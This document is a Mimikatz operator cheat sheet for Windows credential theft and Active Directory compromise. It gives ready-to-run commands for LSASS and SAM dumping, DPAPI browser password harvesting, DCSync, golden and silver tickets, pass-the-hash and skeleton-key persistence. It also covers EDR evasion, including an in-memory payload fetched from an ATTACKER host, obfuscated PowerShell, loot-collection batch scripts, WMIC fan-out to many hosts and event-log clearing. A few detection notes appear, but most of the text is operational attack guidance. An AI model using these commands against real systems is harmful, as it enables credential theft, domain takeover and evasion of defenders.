Mimikatz

Mimikatz

Windows credential extraction — LSASS dump, DPAPI, Kerberos, token impersonation, and ticket attacks.

Privilege Requirement

SeDebugPrivilege is required for most operations. Enable first:

privilege::debug

Run from admin shell. If UAC active: run mimikatz.exe as Administrator.

1. LSASS Credential Dumping

sekurlsa::logonpasswords

Dump all cached credentials from LSASS — NTLM hashes, plaintext (if WDigest enabled), Kerberos keys.

privilege::debug
sekurlsa::logonpasswords

Useful fields in output:

• Username / Domain — target account
• NTLM — NT hash (use for PTH)
• Password — plaintext only if WDigest active or old OS (pre-Win8.1/2012R2)
• SHA1 / AES128 / AES256 — Kerberos keys for asktgt

sekurlsa::wdigest

Dump WDigest credentials (requires WDigest provider active).

sekurlsa::wdigest

Enable WDigest for future logons (then wait for a new logon):

# Registry — enable
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# Then trigger new logon (e.g., lock/unlock, or wait)
sekurlsa::wdigest

sekurlsa::credman

Dump Windows Credential Manager stored credentials.

sekurlsa::credman

sekurlsa::msv

Dump MSV1_0 auth provider credentials (NTLM hashes, domain creds).

sekurlsa::msv

sekurlsa::kerberos

Dump Kerberos provider (AES keys, cached passwords).

sekurlsa::kerberos

sekurlsa::ekeys

Dump Kerberos encryption keys only (AES128 / AES256 / DES / RC4) — tighter output than logonpasswords when you just need keys for kerberos::golden /aes256: or offline cracking.

sekurlsa::ekeys

2. SAM / LSA / NTDS

lsadump::sam

Dump local SAM database hashes (local accounts).

privilege::debug
token::elevate
lsadump::sam

lsadump::secrets

Dump LSA secrets (service account passwords, DPAPI master keys, machine account hash, cached domain credentials).

token::elevate
lsadump::secrets

High-value LSA secrets:

• _SC_* — service account passwords
• DPAPI_SYSTEM — DPAPI system key for decrypting user DPAPI blobs
• $MACHINE.ACC — machine account NT hash (useful for Kerberos auth)
• DefaultPassword — autologon password

lsadump::cache

Dump cached domain credentials (MS-CACHE v2) — offline crackable.

token::elevate
lsadump::cache

Crack: hashcat -a 0 -m 2100 cache_hashes.txt wordlist.txt

lsadump::dcsync

DCSync — pull any account's hash from DC using replication API. Requires DA or explicit replication rights.

# Single account
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /user:administrator

# All accounts (slow, very noisy)
lsadump::dcsync /domain:corp.local /all

# Dump from specific DC
lsadump::dcsync /domain:corp.local /user:krbtgt /dc:dc01.corp.local

lsadump::lsa

Dump LSA online (patch LSA in memory).

lsadump::lsa /patch
lsadump::lsa /inject
lsadump::lsa /inject /name:krbtgt_8245   # RODC krbtgt — extracts AES256 key needed for RODC golden ticket

RODC krbtgt extraction: lsadump::lsa /inject /name:krbtgt_XXXXX as SYSTEM on the RODC is the only reliable method to get the AES256 key — it never appears in an offline ntds.dit dump. Output contains aes256_hmac (4096) : <hex> under Kerberos-Newer-Keys, the key needed for Rubeus.exe golden /rodcNumber:XXXXX /aes256:<key> or ticketer.py -aesKey <key>. Full RODC workflow (kvno encoding, PRP, forge/reveal commands): active-directory-technique/references/rodc-attacks.md.

Headless execution (no console)

When running mimikatz via SCM-based remote execution (smbexec, service creation, scheduled tasks), there is no console attached and stdout/stderr are not captured by the calling tool.

Solution: use mimikatz's built-in log command to write output to a file on the target, then retrieve the file via SMB.

# Run via service/smbexec — output to file
mimikatz.exe "privilege::debug" "log C:\Windows\Temp\mk.txt" "lsadump::lsa /inject /name:krbtgt_8245" "exit"

# Then retrieve via SMB
smbclient.py -k -no-pass //TARGET/ADMIN$ -c "get Temp\mk.txt"

Do NOT use shell redirect (> file.txt 2>&1) for mimikatz via SCM — it produces empty files because the service process has no console handles.

3. Kerberos Ticket Operations

sekurlsa::tickets

List and dump Kerberos tickets from LSASS memory.

sekurlsa::tickets
sekurlsa::tickets /export   # save .kirbi files to disk

kerberos::list

List current session tickets.

kerberos::list
kerberos::list /export

kerberos::ptt

Pass-the-Ticket — inject .kirbi ticket into current logon session.

kerberos::ptt ticket.kirbi
kerberos::ptt C:\path\to\ticket.kirbi

# Verify injection
klist

kerberos::purge

Remove all Kerberos tickets from session (clean up).

kerberos::purge

4. Golden Ticket

Forge TGT using krbtgt hash — persists even after password resets (until krbtgt is reset twice).

Requirements: krbtgt NTLM hash, domain SID, domain name, target username.

# Get krbtgt hash + domain SID
lsadump::dcsync /domain:corp.local /user:krbtgt

# Forge Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /id:500 /ptt

# With AES256 (more stealthy — avoids RC4 downgrade detection)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /aes256:KRBTGT_AES256 /id:500 /ptt

# Save to file (for later use)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /ticket:golden.kirbi

Key flags:

• /id:500 — RID 500 = built-in administrator
• /groups:512,513,518,519,520 — add to DA/EA/Schema Admin groups
• /ptt — inject immediately; omit to save file
• /startoffset:-10 — backdate 10 min (avoid clock skew detection)
• /endin:600 /renewmax:10080 — ticket validity window

5. Silver Ticket

Forge TGS for specific service using service account hash — does not touch DC (no DC logs).

Requirements: service account NTLM hash, domain SID, SPN, target username.

# Forge Silver Ticket for CIFS on target machine
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt

# LDAP service (for DCSync-like ops without touching LSASS on DC)
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:dc.corp.local /service:ldap /rc4:DC_NTLM_HASH /ptt

# HTTP service
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:webserver.corp.local /service:http /rc4:SERVICE_HASH /ptt

# MSSQL
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /target:sql.corp.local /service:MSSQLSvc /rc4:SVC_HASH /ptt

6. Pass-the-Hash

Spawn process using NTLM hash without knowing plaintext password.

sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe

# With AES256 (Kerberos PTK)
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /aes256:AES_KEY /run:powershell.exe

# Spawn specific process for lateral movement
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:"mmc.exe"

7. Token Manipulation

Impersonate tokens from other processes — escalate or pivot without credential extraction.

# List available tokens
token::list

# Elevate to SYSTEM
token::elevate

# Elevate to domain admin token (if present in process list)
token::elevate /domainadmin

# Impersonate specific user by process
token::impersonate

# Revert to original token
token::revert

Workflow: elevate for LSA ops

privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
token::revert

8. DPAPI — Decrypting Secrets

DPAPI protects browser credentials, vault passwords, wifi keys, RDP credentials, and more.

Browser credentials (Chrome, Edge)

# Chrome/Edge saved passwords (user context)
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

# Edge
dpapi::chrome /in:"%localappdata%\Microsoft\Edge\User Data\Default\Login Data" /unprotect

# Chromium-based: works with current user DPAPI key automatically

Windows Credential Vault

# List vault credentials
vault::list

# Dump vault (may need SYSTEM for machine vault)
vault::cred /patch

Generic DPAPI blob decryption

# Get DPAPI system key (from LSA secrets — needs SYSTEM)
token::elevate
lsadump::secrets

# Decrypt a specific blob with masterkey
dpapi::blob /masterkey:MASTERKEY_HEX /in:blob.bin

# Find and list masterkeys
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-...\GUID"

# With domain backup key (if you have it)
dpapi::masterkey /in:MASTERKEY_FILE /pvk:domain_backup.pvk

# Wifi passwords
dpapi::wifi /in:"%programdata%\Microsoft\Wlansvc\Profiles\Interfaces\{GUID}\{PROFILE}.xml"

RDP saved credentials

# Cmdkey-stored RDP credentials
dpapi::rdg /unprotect

9. Crypto / Certificates

# List certificates in current user store
crypto::certificates

# List and export (including private keys)
crypto::certificates /export

# System store (requires SYSTEM)
token::elevate
crypto::certificates /systemstore /export

10. Alternate Execution (EDR evasion)

When dropping mimikatz.exe is detected, use these alternatives:

Invoke-Mimikatz (PowerShell reflective load)

# Load from memory (no disk artifact)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# Dump to remote host
Invoke-Mimikatz -DumpCreds -ComputerName TARGET

SafetyKatz (BOF/fork-dump approach)

# .NET, fork+dump, avoids direct LSASS handle
SafetyKatz.exe "sekurlsa::logonpasswords" "exit"

LSASS dump without mimikatz (then parse offline)

# procdump.exe (Sysinternals)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# comsvcs.dll (LOLBin — built-in)
tasklist /fi "imagename eq lsass.exe"   # get PID
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full

# xordump / via shadow copy
# Copy ntds.dit via shadow copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\loot\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\

Parse dump offline (on attacker machine):

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

CLI / IOA evasion patterns (observed in the wild)

Signature detections that key on the mimikatz.exe filename or the literal sekurlsa::logonpasswords string are trivially bypassed. Patterns seen by CrowdStrike OverWatch:

1. Rename the binary + stage under trusted path

copy mimikatz.exe C:\ProgramData\p.exe
C:\ProgramData\p.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Staging paths seen in the wild: C:\ProgramData\p.exe, C:\Windows\Security\mnl.exe. Combine with log outfile.txt when running via SCM/WMI (no console attached).

2. Batch-file lifecycle (copy → run → collect → cleanup)

@echo off
copy \\SHARE\p.exe C:\Windows\Temp\p.exe >nul
C:\Windows\Temp\p.exe "log C:\Windows\Temp\o.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit" >nul
copy C:\Windows\Temp\o.txt \\SHARE\loot\%COMPUTERNAME%.txt >nul
del /f C:\Windows\Temp\p.exe C:\Windows\Temp\o.txt

3. PowerShell backtick obfuscation (defeats naive cmdline regex)

powershell -ep Bypass -NoP -NonI -NoLogo -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug` sekurlsa`::`logonpasswords `exit'"

Backticks split sekurlsa::logonpasswords at the string-scan layer; PowerShell reassembles it before execution. Same works with 's'+'ekurlsa' concatenation.

4. WMIC remote push (fan out to many hosts)

wmic /NODE:"TARGET" /USER:"DOMAIN\admin" /PASSWORD:"pw" process call create ^
  "cmd.exe /c (C:\Windows\Security\mnl.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\" > C:\Windows\Security\out.txt) >> C:\Windows\Temp\t.txt"

# Fan-out from a list
for /F %h in (hosts.txt) do wmic /NODE:%h /USER:... process call create "cmd.exe /c ..."

wmic is deprecated on Win11 24H2+ — use Invoke-CimMethod -ClassName Win32_Process -MethodName Create on modern targets.

5. Custom forks with renamed modules/commands Attacker-modified builds have been observed replacing the command table so calls look like mnl.exe pr::dg sl::lp et instead of mimikatz.exe privilege::debug sekurlsa::logonpasswords exit. Stock mimikatz does not accept these abbreviations — only recompiled forks. String-based cmdline detections fail; pivot detection to LSASS handle-access IOAs.

Detection-flip takeaway: chain multiple weak signals (LSASS handle access + unusual parent process + .kirbi/log artifact + short-lived child of wmiprvse.exe/services.exe) rather than any single filename or cmdline substring.

Beacon / BOF command prefixes

When invoked via Cobalt Strike Beacon's mimikatz command (or compatible BOF loaders), two prefixes change execution context:

• !command — elevate to SYSTEM before running (equivalent to token::elevate + command). Example: mimikatz !sekurlsa::logonpasswords.
• @command — keep Beacon's current access token (do NOT drop back to Beacon's process token). Useful with make_token/steal_token. Example: mimikatz @lsadump::dcsync /user:krbtgt.
• Chain multiple commands with ; (max 511 chars): mimikatz crypto::capi ; crypto::certificates /systemstore:local_machine /store:my /export.

Skeleton Key — Domain Persistence

misc::skeleton patches LSASS on a Domain Controller so a single master password (default: mimikatz) authenticates any domain account, while real passwords keep working. Memory-only — gone on DC reboot.

Requirements: DA (or equivalent local admin on the DC), SeDebugPrivilege, code execution on the DC itself.

# On the DC, as SYSTEM/DA
privilege::debug
misc::skeleton
# Output: [KDC] data
#         [KDC] struct
#         [KDC] keys patch OK
#         [RC4] functions
#         [RC4] init patch OK
#         [RC4] decrypt patch OK

# Authenticate as ANY domain user with password 'mimikatz'
dir \\dc.corp.local\c$ /user:corp.local\administrator   # prompt → mimikatz

Operational notes:

• Push to every DC in the site. Skeleton key does not replicate; users hitting an unpatched DC authenticate normally and the backdoor won't trigger.
• Server 2019 confirmed working. Server 2022 and later may fail if AES-only Kerberos is enforced (skeleton downgrades to RC4).
• PPL bypass first if LSASS runs as PPL (Win10/Server 2016+ with RunAsPPL=1):

  privilege::debug
  !+                                        # load mimidrv.sys
  !processprotect /process:lsass.exe /remove
  misc::skeleton
  !-                                        # unload driver
  

• Custom master password is not supported by stock misc::skeleton — the default mimikatz string is hardcoded. Forks exist that change it.

Detection vectors:

• Kerberos Event 4769 with RC4 encryption for accounts normally using AES.
• Kernel driver install (mimidrv.sys) — Event 7045 with service name matching mimidrv:

  Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.Message -like '*mimidrv*'}
  

• LSASS memory tampering signatures (EDR-specific).

Cleanup: reboot the DC. There is no in-mimikatz "unpatch" command; the patch is memory-only.

Common Attack Chains

Post-shell: dump all creds fast

privilege::debug
token::elevate
sekurlsa::logonpasswords
lsadump::sam
lsadump::secrets
lsadump::cache
exit

PTH → lateral movement → DCSync

# 1. Extract NTLM from SAM
sekurlsa::logonpasswords

# 2. PTH to spawn session as admin
sekurlsa::pth /user:administrator /domain:corp /ntlm:HASH /run:cmd.exe

# 3. DCSync from admin context
lsadump::dcsync /domain:corp.local /user:krbtgt

# 4. Forge Golden Ticket
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt

Browser credential harvest

privilege::debug
token::elevate
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
dpapi::chrome /in:"%localappdata%\Microsoft\Edge\User Data\Default\Login Data" /unprotect
vault::cred /patch
exit

OPSEC Notes

• sekurlsa::logonpasswords opens a handle to LSASS (access rights 0x1010) → triggers EDR alerts
• lsadump::dcsync generates Event 4662 (replication requested) on DC — monitored
• Dropping mimikatz.exe binary → high-confidence EDR/AV detection (use in-memory or BOF)
• Use comsvcs.dll MiniDump for LSASS dump — it's a LOLBin, less detected than procdump
• AES256 keys for Golden/Silver Tickets avoid RC4 downgrade alert (Event 4769 with RC4 flag)
• Token elevation (token::elevate) is needed before lsadump::sam/secrets — do it before
• Log exit at end to capture mimikatz output when redirecting stdout
• event::clear wipes Security/System/Application evtx from inside mimikatz (needs SYSTEM). Loud on its own — generates Event 1102 (audit log cleared) which most SOCs alert on. Prefer wevtutil cl on specific logs, or selective log-record tampering, over event::clear.

Resources